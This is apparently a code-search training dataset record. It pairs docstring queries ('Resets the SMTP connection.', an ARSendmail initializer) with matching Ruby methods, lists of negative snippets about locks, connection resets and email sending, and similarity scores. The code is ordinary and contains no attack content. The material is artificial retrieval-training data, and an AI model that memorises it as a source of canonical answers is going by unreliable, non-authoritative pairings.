"def lock\n if locked?\n message = \"It seems another backup is still running, or previous backup did not complete. If you are sure that there are no backups currently running then try deleting the lockfile at `#{@lock_file}'.\"\n\n alert message\n send_alerts\n exit 1\n end\n FileUtils.touch @lock_file\nend",
"def acquire\n # Ensure the locks_dir directory exists\n FileUtils.mkdir_p(self.class.locks_dir)\n\n # Open PID file and attempt to obtain a filesystem lock (non-blocking)\n @lock_file ||= File.open(lock_file_path, File::RDWR|File::CREAT, 0644)\n acquired = !! @lock_file.flock(File::LOCK_EX|File::LOCK_NB)\n\n close_file unless acquired\n acquired\n end",
"def locked?\n self.is_locked\n end",
"def unlocked?\n not locked?\n end",
"def id_locked?(id_to_check)\n @con.hexists(\"#{@lock_map_key}_h\", id_to_check)\n end",
"def lock_file(file, &_block)\n if ::File.exist?(file)\n ::File.open(file, 'r+') do |f|\n begin\n f.flock ::File::LOCK_EX\n yield if block_given?\n ensure\n f.flock ::File::LOCK_UN\n end\n end\n else\n yield if block_given?\n end\n end",
"def check_cache(file)\n\t\t# If the module cache has been invalidated, then we return false to\n\t\t# indicate that we should go ahead and load the file now.\n\t\treturn false if (@modcache_invalidated)\n\n\t\tif (@modcache and @modcache.group?('FileModificationTimes'))\n\t\t\tno_exist = false\n\n\t\t\tbegin\n\t\t\t\tcurr_mtime = File::Stat.new(file).mtime\n\t\t\trescue Errno::ENOENT\n\t\t\t\tno_exist = true\n\t\t\tend\n\n\t\t\tif (no_exist or \n\t\t\t @modcache['FileModificationTimes'][file].nil? or\n\t\t\t @modcache['FileModificationTimes'][file].to_s != curr_mtime.to_i.to_s)\n\t\t\t\traise ModuleCacheInvalidated, \"File #{file} has a new mtime or did not exist\"\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\tend",
"def open_and_lock_file(filename, read_only)\n if read_only\n begin\n file = File.new(filename, **RD_ACCESS)\n begin\n file.flock(File::LOCK_SH)\n return file\n rescue\n file.close\n raise\n end\n rescue Errno::ENOENT\n return nil\n end\n else\n file = File.new(filename, **RDWR_ACCESS)\n file.flock(File::LOCK_EX)\n return file\n end\n end",
"def locked?\n !!locked_by && !!locked_at && (locked_at + Delayed::Worker.max_run_time) >= Delayed::Job.db_time_now\n end",
"def locked?(obj)\n RedisMutexer.config.redis.exists(key(obj))\n end",
"def lockable?\n @lockable\n end",
"def our_lock?(current_lock)\n return nil unless current_lock\n return false unless current_lock[\"client_name\"] == client_name\n return false unless current_lock[\"process_id\"] == Process.pid\n true\n end",
"def locked?\n locked_by.present? && locked_at.present? && locked_at > 10.minutes.ago\n end",
"def locked?\n\t\t\t!lockoutTime.nil? && lockoutTime.to_i != 0\n\t\tend",
"def is_file_open?\n (@file_handle != nil)\n end",
"def is_file_open?\n (@file_handle != nil)\n end",
"def locked?(*args)\n inspect_lock(:redis_lock_key, *args)\n end",
"def locked? disk\n\t\t@json.fetch(disk) == LOCKED\n\tend",
"def lock_file file\n file_lock = file + \".lock\"\n open(file_lock, \"w\") {}\n end",
"def with_lock(&blk)\n create_lock_file!\n queue = Queue.new\n\n first_lock_blk = lambda do\n if have_first_lock?(true)\n queue << :locked\n end\n end\n\n @zk.watcher.register(root_lock_path, &first_lock_blk)\n first_lock_blk.call\n\n if queue.pop\n begin\n @locked = true\n return blk.call\n ensure\n unlock!\n end\n end\n\n end",
"def sync_with_flock(&block)\n fail ArgumentError, \"No block specified\" if block.nil?\n\n file = File.open(LOCK_FILE_PATH)\n file.flock(File::LOCK_EX)\n block.call\n ensure\n file.flock(File::LOCK_UN)\n file.close\n end",
"def is_locked\n return @is_locked\n end",
"def locked_closed?\n lock == :closed\n end",
"def watched_file?(filename)\n false\n end",
"def has_windows_gemfile_lock?\n return true unless @has_gemfile\n super\n end",
"def locked? key\n ! ! data(key, LOCKED)\n end",
"def lock?\n record.unlocked? && (director?(record.event) || competition_admin? || super_admin?)\n end",
"def lock_file_path\n File.join(self.class.locks_dir, \"#{@name}.lock\")\n end",
"def check_file(file)\n begin\n file_read = File.open(file, 'r')\n rescue SystemCallError\n puts \"#{file} does not exist\"\n return false\n end\n file_read\n end",
"def accesible(f)\n begin\n File.open(f,\"r\")\n true\n rescue\n false\n end\nend",
"def lock(&block)\n result = nil\n File.open(path + 'f.lock', 'w') do |fd|\n if fd.flock(File::LOCK_EX)\n begin\n result = block.call\n ensure\n fd.flock(File::LOCK_UN)\n end\n end\n end\n result\n end",
"def lockfile; end",
"def open_request(client, filename)\n # obtain lock\n lock_request = \"LOCK:#{filename}\"\n @lockServer.puts lock_request\n answer = @lockServer.gets\n # if lock obtained\n if(answer.include?('OK'))\n puts \"Obtained lock on #{filename}\"\n client.puts \"Obtained lock on #{filename}\\nEND OF\"\n else\n client.puts \"ERROR: #{filename} is in use...END OF\"\n end\n return\n end",
"def locked?\n if sha1 = @eval_is_locked\n 1 == eval_safe(sha1, @ns_names)\n else\n redis_pool.exists @ns_names.first\n end\n end",
"def test_lock_unlock\n setup_file\n\n assert_empty_lockdiscovery 'file'\n \n # get an exclusive write lock\n owner = \"<D:href xmlns:D='DAV:'>http://tim.limebits.com/</D:href>\"\n lock = lock 'file', :depth => 0, :owner => owner, :timeout => 1000\n\n assert_equal :write, lock.type\n assert_equal :exclusive, lock.scope\n assert_equal 0, lock.depth\n\n # timeout & token check are limestone specific\n assert_in_delta 1000, lock.timeout, 50\n assert_not_nil lock.token\n\n assert_xml_matches lock.owner do |xml|\n xml.xmlns! :D => \"DAV:\"\n xml.D :href, 'http://tim.limebits.com/'\n end\n\n response = @request.lock 'file'\n assert_equal '423', response.status\n \n unlock 'file', lock.token\n\n # a second unlock should return 409\n response = @request.unlock('file', lock.token)\n assert_equal '409', response.status\n\n response = @request.delete 'file'\n assert_equal '204', response.status\n end",
"def queueing_locked?\n should_lock_on_queueing? && lock_present?\n end",
"def update_startlock?\r\n # When waiting for event execution or locked\r\n return (@starting or lock?)\r\n end",
"def check_for fn\n File.readable?( fn ) && fn\n end"
] |
[
"0.8242603",
"0.8170683",
"0.7804606",
"0.77444834",
"0.7585008",
"0.745492",
"0.7408756",
"0.7318413",
"0.725163",
"0.7199684",
"0.7184479",
"0.6885824",
"0.684168",
"0.6773479",
"0.6763866",
"0.67473966",
"0.6743399",
"0.67100096",
"0.66962045",
"0.6685964",
"0.6681089",
"0.66800076",
"0.6585482",
"0.656653",
"0.6545768",
"0.6505901",
"0.64880496",
"0.6455284",
"0.638513",
"0.6379471",
"0.6355606",
"0.6309795",
"0.6309795",
"0.6309795",
"0.6309795",
"0.63087916",
"0.6306118",
"0.627488",
"0.62728614",
"0.6261942",
"0.623741",
"0.62368476",
"0.6198667",
"0.6188368",
"0.6180583",
"0.61784256",
"0.61783427",
"0.6177585",
"0.6173687",
"0.61695915",
"0.61695915",
"0.614418",
"0.61409867",
"0.61325896",
"0.6127586",
"0.61142534",
"0.6113504",
"0.6100462",
"0.609786",
"0.60932505",
"0.60711515",
"0.60700077",
"0.60687226",
"0.60444146",
"0.6044215",
"0.5991822",
"0.5989304",
"0.597637",
"0.59442437",
"0.5938249",
"0.5937731",
"0.59291846",
"0.59264565",
"0.59220266",
"0.5902041",
"0.58789474",
"0.5867419",
"0.58672273",
"0.58578116",
"0.5849293",
"0.58408886",
"0.58105505",
"0.58084166",
"0.57947665",
"0.57886493",
"0.578691",
"0.5785157",
"0.5777159",
"0.57767016",
"0.57721883",
"0.57292247",
"0.57287353",
"0.57236314",
"0.5718454",
"0.5716301",
"0.5715644",
"0.57138413",
"0.57109994",
"0.57084596",
"0.5695933"
] |
0.84481305
|
0
|
Resets the SMTP connection.
|
def reset
getok 'RSET'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def reset_connection!\n @@socket = nil\n end",
"def reset\n self.class.reset :email => self.email\n end",
"def reset_connection!\n @connection = nil\n end",
"def reset!\n reconnect!\n end",
"def reset\n @config = nil\n @client = nil\n end",
"def reset_connection\n #close if \n @socket_server = nil\n connect\n end",
"def reset!\n return unless @connection.started?\n\n @connection.stop\n perform_setup\n end",
"def reset!\n clear_cache!(new_connection: true)\n reset_transaction\n configure_connection\n end",
"def reset\n\t\treset_start\n\t\tasync_connect_or_reset(:reset_poll)\n\t\tself\n\tend",
"def reset!\n @orm = @namespace = @source = @setting_class = nil\n self.config = nil\n self.raise_missing = nil\n self.report_missing = nil\n self.typecast_on_write = nil\n self.password_secret = nil\n end",
"def reset\n log_out_and_disconnect\n @imap = nil\n @logged_in = false\n @idling = false\n end",
"def reset\n @protocols = {}\n @servers = {}\n @routes = {}\n @subscribers = {}\n @agents = {}\n @channels = {}\n end",
"def reset\n self.remote_host = DEFAULT_REMOTE_HOST\n self.remote_port = DEFAULT_REMOTE_PORT\n self.local_host = DEFAULT_LOCAL_HOST\n self.local_port = DEFAULT_LOCAL_PORT\n self.auto_connect = DEFAULT_AUTO_CONNECT\n self\n end",
"def reset\n self.username = nil\n self.password = nil\n self.host = DEFAULT_HOST\n self.key = DEFAULT_KEY\n self.user_agent = DEFAULT_USER_AGENT\n self\n end",
"def reset\n @client = nil\n end",
"def reset\n initialize(@channel, @name, @opts)\n end",
"def clear_emails\n all_emails.clear\n self.current_emails = nil\n self.current_email = nil\n end",
"def reset!\n @hosts = nil\n end",
"def reset!\n self.api_key = nil\n self.host = nil\n self.request_headers = nil\n self.version = nil\n self.retry_max_count = nil\n self.retry_wait_seconds = nil\n self.return_response = nil\n self.logger = nil\n @settings = nil\n end",
"def reset\n @socket = self.class.context { |c| c.socket(ZMQ::REQ) }\n @socket.connect @address\n end",
"def reset\n @messages = []\n @error = nil\n @status = :ready\n end",
"def reset!\n @peer_certs = []\n @verify_errors = []\n end",
"def reset!\n @peer_certs = []\n @verify_errors = []\n end",
"def reset!\n client.reset!\n end",
"def reset\n reset_config\n reset_driver\n end",
"def reset!\n @buffer = ''\n end",
"def reset_email_token!\n reset_email_token\n save_without_session_maintenance(validate: false)\n end",
"def reset\n invoke_on_reset_callbacks\n self\n end",
"def reset\n initialize(@channel, @type, @name, @opts)\n end",
"def reset!\n @last_response = nil\n @last_exit_code = nil\n end",
"def reconnect!\n @connection.reset_connection\n end",
"def reset\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self.timeout = DEFAULT_TIMEOUT\n self.platform_credentials = DEFAULT_PLATFORM_CREDENTIALS\n self.disable_ssl_peer_verification = DEFAULT_DISABLE_SSL_PEER_VERIFICATION\n self\n end",
"def reset\n self.adapter = DEFAULT_ADAPTER\n self.username = DEFAULT_USERNAME\n self.password = DEFAULT_PASSWORD\n self.endpoint = DEFAULT_ENDPOINT\n self.format = DEFAULT_FORMAT\n self.user_agent = DEFAULT_USER_AGENT\n self.faraday_options = DEFAULT_FARADAY_OPTIONS\n self.return_card_numbers = DEFAULT_RETURN_CARD_NUMBERS\n self\n end",
"def reset_email\n # User reset email sent.\n end",
"def reset!\n self.command = :reset\n end",
"def reset!\n @buffer = buffer.reset!\n end",
"def reset\n self.adapter = DEFAULT_ADAPTER\n self.user_login = DEFAULT_USER_LOGIN\n self.user_password = DEFAULT_USER_PASSWORD\n self.endpoint = DEFAULT_ENDPOINT\n self.format = DEFAULT_FORMAT\n self.proxy = DEFAULT_PROXY\n self.cookie = DEFAULT_COOKIE\n self.user_agent = DEFAULT_USER_AGENT\n self\n end",
"def reset!\n # this should be overridden by concrete adapters\n end",
"def reset!\n reset_endpoints!\n reset_routes!\n reset_validations!\n end",
"def reset\n self.host = DEFAULT_HOST\n self.key = DEFAULT_KEY\n self.user_agent = DEFAULT_USER_AGENT\n self\n end",
"def reset!\n logoff rescue nil\n begin\n new_connection(@config)\n @active = true\n rescue Java::JavaSql::SQLException => e\n @active = false\n raise OracleEnhanced::ConnectionException, e.message\n end\n end",
"def reset\n self.client_account = DEFAULT_CLIENT_ACCOUNT\n self.client_secret = DEFAULT_CLIENT_SECRET\n self.user_agent = DEFAULT_USER_AGENT\n self.endpoint = DEFAULT_ENDPOINT\n self.adapter = DEFAULT_ADAPTER\n self.connection_type = DEFAULT_CONNECTION\n end",
"def reset\n self.adapter = DEFAULT_ADAPTER\n self.endpoint = DEFAULT_ENDPOINT\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n self\n end",
"def reset\n cleanup(true)\n end",
"def reset_protocol_state\n init_protocol_state\n s,@state = @state,[]\n @state << :starttls if s.include?(:starttls)\n @state << :ehlo if s.include?(:ehlo)\n receive_transaction\n end",
"def reset!\n @session_key = nil\n end",
"def reset!\n @conversions = {}\n @job_queue = nil\n end",
"def unbind\n EM.add_timer(1) do\n puts \"Client: Reconnecting to #{@host}:#{@port}\"\n\n # Reconnect can be called with a different host / port and it will reuse\n # the same connection instance.\n reconnect(@host, @port)\n end\n end",
"def reset\n set Exchange::Configuration::DEFAULTS[key]\n end",
"def reset\n self.adapter = DEFAULT_ADAPTER\n self.endpoint = DEFAULT_ENDPOINT\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n # self.response = DEFAULT_RESPONSE\n self.faraday_options = DEFAULT_FARADAY_OPTIONS\n self.login = DEFAULT_LOGIN\n self.pass = DEFAULT_PASS\n self\n end",
"def http_reset\n @http = nil\n end",
"def reset_session!\n raw_session.clear\n end",
"def reset\n self.adapter = DEFAULT_ADAPTER\n self.client_id = DEFAULT_CLIENT_ID\n self.client_secret = DEFAULT_CLIENT_SECRET\n self.endpoint = DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self\n end",
"def reset\n self.adapter = DEFAULT_ADAPTER\n self.username = DEFAULT_USERNAME\n self.password = DEFAULT_PASSWORD\n self.organization = DEFAULT_ORGANIZATION\n self.endpoint = DEFAULT_ENDPOINT\n self.version = DEFAULT_VERSION\n self.path_prefix = DEFAULT_PATH_PREFIX\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n self.connection_options = DEFAULT_CONNECTION_OPTIONS\n self\n end",
"def reset!\n @messages = []\n @paused_partitions = {}\n end",
"def reset\n self\n end",
"def reset\n @params = nil\n @logger = nil\n end",
"def reset!()\n # fixed-length fields\n @server_msg_len = 0\n @data_len = 0\n @status = 0\n \n # variable-length fields\n @server_msg = nil\n @data = nil\n\n return(nil)\n end",
"def reset!\n logoff rescue nil\n begin\n new_connection(@config)\n @active = true\n rescue NativeException => e\n @active = false\n if e.message =~ /^java\\.sql\\.SQLException/\n raise OracleEnhancedConnectionException, e.message\n else\n raise\n end\n end\n end",
"def reset\n # Conditions are now stale, so clear them\n clear_conditions\n\n # Connection is also stale\n clear_connection\n end",
"def reset!\n instance.reset!\n end",
"def reset!\n instance.reset!\n end",
"def reset_request\n @params = @headers = @body = nil\n end",
"def error_reset\n @@state.delete(@server)\n end",
"def reset\n @cpt = 0\n @errors = 0\n @stopped = false\n end",
"def reset!\n self.client_id = ENV['FIXER_CLIENT_ID']\n self.client_secret = ENV['FIXER_CLIENT_SECRET']\n self.adapter = DEFAULT_ADAPTER\n self.endpoint = ENV['FIXER_ENDPOINT'] || DEFAULT_ENDPOINT\n self.user_agent = DEFAULT_USER_AGENT\n self.aws = nil\n self.queue = ENV['FIXER_QUEUE'] || DEFAULT_QUEUE\n self\n end",
"def reset\n @config = nil\n end",
"def reset!\n sync do\n @global_id = 0\n @channels = {}\n end\n end",
"def reset\n self.endpoint = ENDPOINT\n self.user_agent = USER_AGENT\n self\n end",
"def reset( *bind_params )\n @stmt.must_be_open!\n @stmt.reset!(false)\n @driver.reset( @stmt.handle )\n @stmt.bind_params( *bind_params )\n @eof = false\n commence\n end",
"def reset()\n end",
"def reset\n @bridge.reset\n end",
"def sync_reset\n self.last_sync = DUMMY_TIMESTAMP\n self.err_count = 0\n self.err_msg = ''\n end",
"def reset!\n reset_secret\n refresh_expiry\n reset_confirmation\n save!\n end",
"def password_reset\n\t\tshepherd = Shepherd.first\n\t\tshepherd.reset_token = Shepherd.new_token\n ShepherdMailer.password_reset(shepherd)\n end",
"def reset\n @client = nil\n return self\n end",
"def reset\n # TODO\n end",
"def reset_adapters\n @adapters = nil\n end",
"def reset\n reset_adapters\n reset_config\n reset_handlers\n reset_hooks\n end",
"def reset\n @messages = []\n end",
"def reset!\n end",
"def reset!\n end",
"def reset\n info \"\\n\\n------------ RESET ------------\\n\"\n # ExecApp.killAll ## NOTE: do we want to kill of the started RC on reset ???\n resetState\n RMCommunicator.instance.reset\n end",
"def reset\n\n end",
"def reset\n @attempt = 0\n end",
"def reset\n end",
"def reset\n end",
"def reset! # :nodoc:\n @params = nil\n @request = nil\n @headers = nil\n end",
"def reset\n @agent.reset\n end",
"def reset_message\n @recipient_variables = {}\n @message.delete('recipient-variables')\n @message.delete(:to)\n @message.delete(:cc)\n @message.delete(:bcc)\n @counters[:recipients][:to] = 0\n @counters[:recipients][:cc] = 0\n @counters[:recipients][:bcc] = 0\n end",
"def reset!\n BasicSocket.do_not_reverse_lookup = true\n @desired_port = preferred_port\n begin\n @socket.close if @socket\n rescue IOError\n # Already closed\n end\n @socket = UDPSocket.new\n end",
"def reset\n self.adapter = DEFAULT_ADAPTER\n self.connection_options = DEFAULT_CONNECTION_OPTIONS\n self.consumer_key = DEFAULT_CONSUMER_KEY\n self.consumer_secret = DEFAULT_CONSUMER_SECRET\n self.endpoint = DEFAULT_ENDPOINT\n self.xauth_username = DEFAULT_XAUTH_USERNAME\n self.xauth_password = DEFAULT_XAUTH_PASSWORD\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n self.logger = DEFAULT_LOGGER\n self\n end",
"def reset\n\n end",
"def reset\n @buffer.string = @buffer.read; nil\n end",
"def reset\n end",
"def reset\n end",
"def reset\n end",
"def reset\n end",
"def reset\n @@config_instance = nil\n end",
"def reset!\n self.adapter = MarkupMechanic::DefaultAdapter\n self.logger = Rails.logger\n self.debug_mode = Rails.env.development?\n end",
"def reset\n reset_token\n end"
] |
[
"0.69499886",
"0.69232136",
"0.6734722",
"0.66285425",
"0.6316605",
"0.6103816",
"0.60773754",
"0.60683626",
"0.6038048",
"0.6016561",
"0.6001744",
"0.59982634",
"0.59467226",
"0.593634",
"0.59036905",
"0.5871792",
"0.58409935",
"0.58096534",
"0.57931465",
"0.57733536",
"0.5770708",
"0.57689005",
"0.57689005",
"0.57664746",
"0.57522345",
"0.5750117",
"0.57364035",
"0.5728921",
"0.5724412",
"0.5691943",
"0.5687693",
"0.5674124",
"0.5667843",
"0.565692",
"0.56530845",
"0.5647221",
"0.56276375",
"0.56263924",
"0.56137043",
"0.56112087",
"0.56063974",
"0.5595321",
"0.5587977",
"0.5587123",
"0.5584957",
"0.5573851",
"0.5559581",
"0.5550943",
"0.55494285",
"0.5546695",
"0.5545864",
"0.5543469",
"0.5540097",
"0.553828",
"0.55183244",
"0.55147636",
"0.55140036",
"0.5513474",
"0.55116713",
"0.5506332",
"0.55032337",
"0.55032337",
"0.5496996",
"0.5496992",
"0.5493477",
"0.54901135",
"0.54859483",
"0.5475667",
"0.547382",
"0.54731035",
"0.54663366",
"0.54657096",
"0.54643714",
"0.54577166",
"0.54505783",
"0.5439705",
"0.5439508",
"0.5435792",
"0.54340106",
"0.54284865",
"0.54138637",
"0.54138637",
"0.5412476",
"0.54034275",
"0.54018474",
"0.53955126",
"0.53955126",
"0.5394704",
"0.53931296",
"0.53885984",
"0.53838474",
"0.5381795",
"0.53785086",
"0.5376867",
"0.53766894",
"0.53766894",
"0.53766894",
"0.53766894",
"0.5370989",
"0.5367612",
"0.53664595"
] |
0.0
|
-1
|
Creates a new ARSendmail. Valid options are: :BatchSize:: Maximum number of emails to send per delay :Delay:: Delay between deliver attempts :Once:: Only attempt to deliver emails once when run is called :Verbose:: Be verbose.
|
def initialize(options = {})
options[:Delay] ||= 60
options[:MaxAge] ||= 86400 * 7
@batch_size = options[:BatchSize]
@delay = options[:Delay]
@once = options[:Once]
@verbose = options[:Verbose]
@max_age = options[:MaxAge]
@failed_auth_count = 0
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_mail(options = {})\n options = {\n :subject => \"Message From RED.com\",\n :cc => \"\",\n :from => AppConfig.ORDERS_FROM,\n }.merge!(options)\n \n # send mail under development and test environment.\n begin\n mail = MailTaskMailer.send \"create_#{self.class.table_name}\", self, options\n MailTaskMailer.deliver(mail)\n #self.update_attribute(:complete, true)\n rescue\n # do nothing.\n ensure\n return\n end if RAILS_ENV != 'production'\n \n # send mail under production environment only.\n begin\n mail = MailTaskMailer.send \"create_#{self.class.table_name}\", self, options\n log = MailTaskSentLog.new(\n :mail_task_id => mail_task.id,\n :mail_queue_id => id,\n :from => \"#{mail.from}\",\n :to => \"#{mail.to}\",\n :subject => mail.subject,\n :body => mail.body\n )\n MailTaskMailer.deliver(mail)\n self.update_attribute(:complete, true)\n log.sent = true\n rescue\n # do nothing.\n ensure\n log.save\n end\n end",
"def send_an_email\r\n SendEmails.new(1)\r\n end",
"def find_emails\n options = { :conditions => ['last_send_attempt < ?', Time.now.to_i - 300] }\n options[:limit] = batch_size unless batch_size.nil?\n mail = ActionMailer::Base.email_class.find :all, options\n\n log \"found #{mail.length} emails to send\"\n mail\n end",
"def perform\n @newsletter = create_newsletter\n send_emails\n end",
"def send!\n raise \"job #{job.backup_id} has no email option\" unless job.options[:email]\n # define local variables for closure over Mail.new\n from_address = settings['email_from']\n to_address = job.options[:email]\n subject_text = \"Backup of RDS #{job.rds_id} (job ID #{job.backup_id})\"\n body_text = body\n mail = Mail.new do\n from from_address\n to to_address\n subject subject_text\n body \"#{body_text}\\n\"\n end\n mail.deliver!\n end",
"def create_sale_report\n mail = LogMailer.sale_report(self).deliver\n end",
"def generate_mails( contacts, do_save_mail = true, layout_options={} )\r\n\t\t\tself.class.transaction do\r\n\t\t\t\tcontacts.each do |contact|\r\n\t\t\t\t\tmail = self.mails.build(\r\n\t\t\t\t\t:email => contact.email,\r\n\t\t\t\t\t:first_name => contact.first_name,\r\n\t\t\t\t\t:last_name => contact.last_name,\r\n\t\t\t\t\t:company_name => contact.company_name,\r\n\t\t\t\t\t:account_num => contact.account_num,\r\n\t\t\t\t\t:sales_id => contact.sales_id,\r\n\t\t\t\t\t:token => contact.token,\r\n\t\t\t\t\t:content => contact.content,\r\n\t\t\t\t\t:rep_email => contact.rep_email,\r\n\t\t\t\t\t:created_at => contact.created_at,\r\n\t\t\t\t\t:updated_at => contact.updated_at,\r\n\t\t\t\t\t:read_at => contact.read_at,\r\n\t\t\t\t\t:sent_at => contact.sent_at,\r\n\t\t\t\t\t:name => contact.name\r\n\t\t\t\t\t)\r\n\t\t\t\t\tmail.save! if do_save_mail\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend",
"def setup_email(options)\n @recipients = options[:recipients]\n @from = options[:from] || SocialNewsConfig[\"email_addrs\"][\"support\"] \n @cc = options[:cc] || ''\n @bcc = options[:bcc] || ''\n @subject = SUBJECT_PREFIX + (options[:subject] || 'No Subject')\n @body = options[:body] || {}\n @headers = options[:headers] || {}\n @charset = options[:charset] || 'utf-8'\n end",
"def send(options)\n options[:body] ||= options[:message]\n options[:to] = self\n Origen.mailer.send_email(options)\n end",
"def send_email\n # There is a deliver_later method which we could use\n InvoiceMailer.email_invoice(self).deliver_now\n self.sent_by_email = true\n self.save\n end",
"def send_email\n return true unless RunLevel.is_normal?\n\n log_msg = \"SEND #{flavor} \" \\\n \"from=#{user&.login || \"nil\"} \" \\\n \"to=#{to_user&.login || \"nil\"} \" +\n queued_email_integers.map { |x|\n \"#{x.key}=#{x.value}\"\n }.join(\" \") +\n queued_email_strings.map do |x|\n \"#{x.key}=\\\"#{x.value}\\\"\"\n end.join(\" \")\n self.class.debug_log(log_msg)\n current_locale = I18n.locale\n result = false\n if user.present? && user == to_user\n unless Rails.env.test?\n raise(\"Skipping email with same sender and recipient: #{user.email}\\n\")\n end\n else\n result = deliver_email\n end\n I18n.locale = current_locale\n result\n rescue StandardError => e\n warn(\"ERROR CREATING EMAIL\")\n warn(log_msg)\n warn(e)\n warn(e.backtrace)\n I18n.locale = current_locale\n false\n end",
"def send_email( options={} )\n mail_opts = {\n :to => self.config[\"email\"][\"to\"],\n :from => self.config[\"email\"][\"from\"],\n :subject => \"A Message from MartSearch...\",\n :body => \"You have been sent this message from your MartSearch portal.\"\n }.merge!(options)\n \n mail = Mail.new do\n from mail_opts[:from]\n to mail_opts[:to]\n subject mail_opts[:subject]\n body mail_opts[:body]\n end\n \n if self.config[\"email\"][\"smtp\"]\n smtp_opts = { :host => \"127.0.0.1\", :port => \"25\" }\n \n [:host, :port, :user, :pass].each do |opt|\n if self.config[\"email\"][\"smtp\"][opt.to_s]\n smtp_opts[opt] = self.config[\"email\"][\"smtp\"][opt.to_s]\n end\n end\n \n Mail.defaults do\n smtp smtp_opts[:host], smtp_opts[:port]\n if smtp_opts[:user] then user smtp_opts[:user] end\n if smtp_opts[:pass] then pass smtp_opts[:pass] end\n end\n \n mail.deliver!\n else\n # Send via sendmail\n sendmail = `which sendmail`.chomp\n if sendmail.empty? then sendmail = \"/usr/sbin/sendmail\" end\n \n IO.popen('-', 'w+') do |pipe|\n if pipe\n pipe.write(mail.to_s)\n else\n exec(sendmail, \"-t\")\n end\n end\n end\n end",
"def make_email(opts)\n mail = Mail.new\n mail.to opts.msg_to\n mail.from opts.msg_from\n mail.cc opts.msg_cc if opts.key? \"cc\"\n mail.subject opts[\"subject\"]\n mail.html_part do\n content_type \"text/html; charset=UTF-8\"\n body opts.msg_body\n end\n opts.msg_attachments.each { |f| mail.add_file f }\n mail\n end",
"def create_email\n Person.where.not(id: self.id).each do |recipient|\n Resque.enqueue(PersonCreated, self.id, recipient.id)\n end\n end",
"def send_invite\n\t\tMyMailer.new_invite(self).deliver_now\n\t\t#MyMailer.new_invite(self).deliver_later!(wait_until: 5.minutes.from_now)\n\tend",
"def send_invite\n\t\tMyMailer.new_invite(self).deliver_now\n\t\t#MyMailer.new_invite(self).deliver_later!(wait_until: 5.minutes.from_now)\n\tend",
"def deliver(mail_type, clean = true)\n clean() if clean\n self.save()\n self.recipients.each do |r|\n delivery = Delivery.new(\n :message => self,\n :conversation => self.conversation,\n :mail_type => mail_type.to_s,\n :user => r\n )\n r.deliveries << delivery\n end\n end",
"def deliver\n #find all the abonnes emails\n @abonnes = Abonne.all.collect(&:email)\n # Sends the newsletter to each one\n @abonnes.each do |abonne|\n NewsletterMailer.deliver_newsletter(abonne, self)\n end\n # Set the delivered_at time to now\n self.update_attribute(:delivered_at, Time.now)\n end",
"def deliver!\n deliver do\n begin\n if SEND_ENVS.include?(Emque::Consuming.application.emque_env)\n # TODO: This needs to be a SendGrid::Client instance. Another\n # thing for the adapter to handle\n SG.send(mailer)\n else\n write_to_logger\n end\n ensure\n persist\n end\n end\n end",
"def deliver(params={})\n puts \"**** Message#deliver\" if params[:verbose]\n#puts \"**** Message#deliver response_time_limit=#{self.response_time_limit}\"\n save! if self.new_record?\n deliver_email() if send_email\n deliver_sms(:sms_gateway=>params[:sms_gateway] || default_sms_gateway) if send_sms\n end",
"def send_email(gmail, body, mail_address)\n\n body_content = body\n mail_address = mail_address\n gmail = gmail\n\n gmail.deliver do\n to mail_address\n\n subject \"[Presentation] - The Hacking Project - Formation d'informatique gratuite\"\n html_part do\n content_type 'text/html; charset=UTF-8'\n body body_content\n end\n puts \"mail sent to #{mail_address}\"\n #in order to stay below the 10 mail / sec limit\n sleep(1)\n\n end\nend",
"def send_mailing(options={})\n email, mailing_id = options.delete(:email), options.delete(:mailing_id)\n request_body = String.new\n xml = Builder::XmlMarkup.new(:target => request_body, :indent => 1)\n\n xml.instruct!\n xml.Envelope do\n xml.Body do\n xml.SendMailing do\n xml.MailingId mailing_id\n xml.RecipientEmail email\n end\n end\n end\n\n send_xml_api_request(request_body)\n true\n end",
"def run_ar_sendmail\n run_options = {\n :chdir => Rails.root,\n :rails_env => 'test',\n :log_level => 'debug'\n }\n ArMailerRevised::Mailman.new(run_options).run\n end",
"def create\n @bulk_mail = BulkMail.new(bulk_mail_params)\n @bulk_mail.status = 'draft'\n @bulk_mail.user = current_user\n if @bulk_mail.save\n record_action_log\n redirect_to @bulk_mail, notice: t_success_action(@bulk_mail, :create) +\n t(:create, scope: [:mail, :done_messages])\n else\n @action_info.current_status = nil\n render :new\n end\n end",
"def mail(*args)\n Mail.new(*args)\n end",
"def default(options = {})\n options.symbolize_keys!\n options.assert_valid_keys(:mailer_class, :mailer, :using, :batch_size)\n @defaults = options\n end",
"def create\n # Check that there is at least something entered in the recipients and body field\n if mail_params[:recipients].blank? || mail_params[:body].blank?\n flash[:error] = \"Either recipients or body missing. Retry.\"\n redirect_to '/'\n return\n end\n\n # Loop through the recipients list breaking on every ',' character (Strips whitespace first)\n mail_params[:recipients].strip.split(\",\").each do |recipient|\n DemoMailer.send_email(recipient, mail_params[:body]).deliver_later\n end\n\n flash[:success] = \"Emails Sent.\"\n redirect_to '/'\n end",
"def send_emails_new_person\n NewPersonJob.perform_later(id, full_name)\n end",
"def send_email(data = {})\n assign_properties(data)\n\n self\n end",
"def send_bulk_email(message, subject = 'Notification')\n client = IronWorkerNG::Client.new\n payload = {}\n payload['message'] = message\n payload['Subject'] = subject\nend",
